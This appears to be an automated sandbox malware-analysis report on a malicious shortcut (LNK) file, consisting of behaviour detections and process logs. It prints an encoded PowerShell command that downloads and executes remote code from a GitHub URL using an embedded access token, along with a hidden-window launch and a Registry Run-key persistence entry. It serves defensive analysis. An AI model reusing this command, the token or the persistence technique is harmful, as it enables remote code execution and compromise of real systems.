PASSWORD=aQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGM&&set VALIDATION=-enco&&ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||seT^ Update=QA

PowerShell case anomaly found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWerShell -encoded SQBFAFgAIAAoAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AMQB4ADMAawAvAHMAZQBjAHIAZQB0AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBzAGUAYwByAGUAdAAnACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACAAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAgAD0AIAAnAHQAbwBrAGUAbgAgAGcAaABwAF8AaQBGAGIAYgA1ADIAdABUAFkATwBwAEIAbgBSADAASgBNADAAdwB1ADIAVABoAGsAZQBiAE0ARQBNAGcAMwBHADMAaAB4AEgAJwAgAH0AKQAuAEMAbwBuAHQAZQBuAHQA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWerShell -encoded SQBFAFgAIAAoAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AMQB4ADMAawAvAHMAZQBjAHIAZQB0AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBzAGUAYwByAGUAdAAnACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACAAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAgAD0AIAAnAHQAbwBrAGUAbgAgAGcAaABwAF8AaQBGAGIAYgA1ADIAdABUAFkATwBwAEIAbgBSADAASgBNADAAdwB1ADIAVABoAGsAZQBiAE0ARQBNAGcAMwBHADMAaAB4AEgAJwAgAH0AKQAuAEMAbwBuAHQAZQBuAHQA			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden New-Item -ItemType Directory -Force -Path C:\helper
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden New-Item -ItemType Directory -Force -Path C:\helper			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B80842E pushad ; ret	2_2_00007FFD9B80845D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B807C2E pushad ; retf	2_2_00007FFD9B807C5D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B8000AD pushad ; iretd	2_2_00007FFD9B8000C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B808642 pushad ; iretd	2_2_00007FFD9B808643
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B807C5E push eax; retf	2_2_00007FFD9B807C6D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B80845E push eax; ret	2_2_00007FFD9B80846D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B8D2351 push 8B485F91h; iretd	2_2_00007FFD9B8D2356
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B7E00AD pushad ; iretd	4_2_00007FFD9B7E00C1

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WindowsHelper			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WindowsHelper			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 2_2_00007FFD9B8D0F45 sldt word ptr [eax]

2_2_00007FFD9B8D0F45

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5079	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4766	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2986	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7048	Thread sleep count: 5079 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7048	Thread sleep count: 4766 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5696	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3192	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5888	Thread sleep count: 2986 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5888	Thread sleep count: 205 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7092	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7140	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7428	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7432	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: Amcache.hve.2.dr	Binary or memory string: VMware
Source: Amcache.hve.2.dr	Binary or memory string: VMware Virtual USB Mouse
Source: powershell.exe, 00000002.00000002.4197539133.000001B9EE15D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.2.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.2.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.2.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.2.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.2.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.2.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: svchost.exe, 00000006.00000002.3426881660.0000020DA8A58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
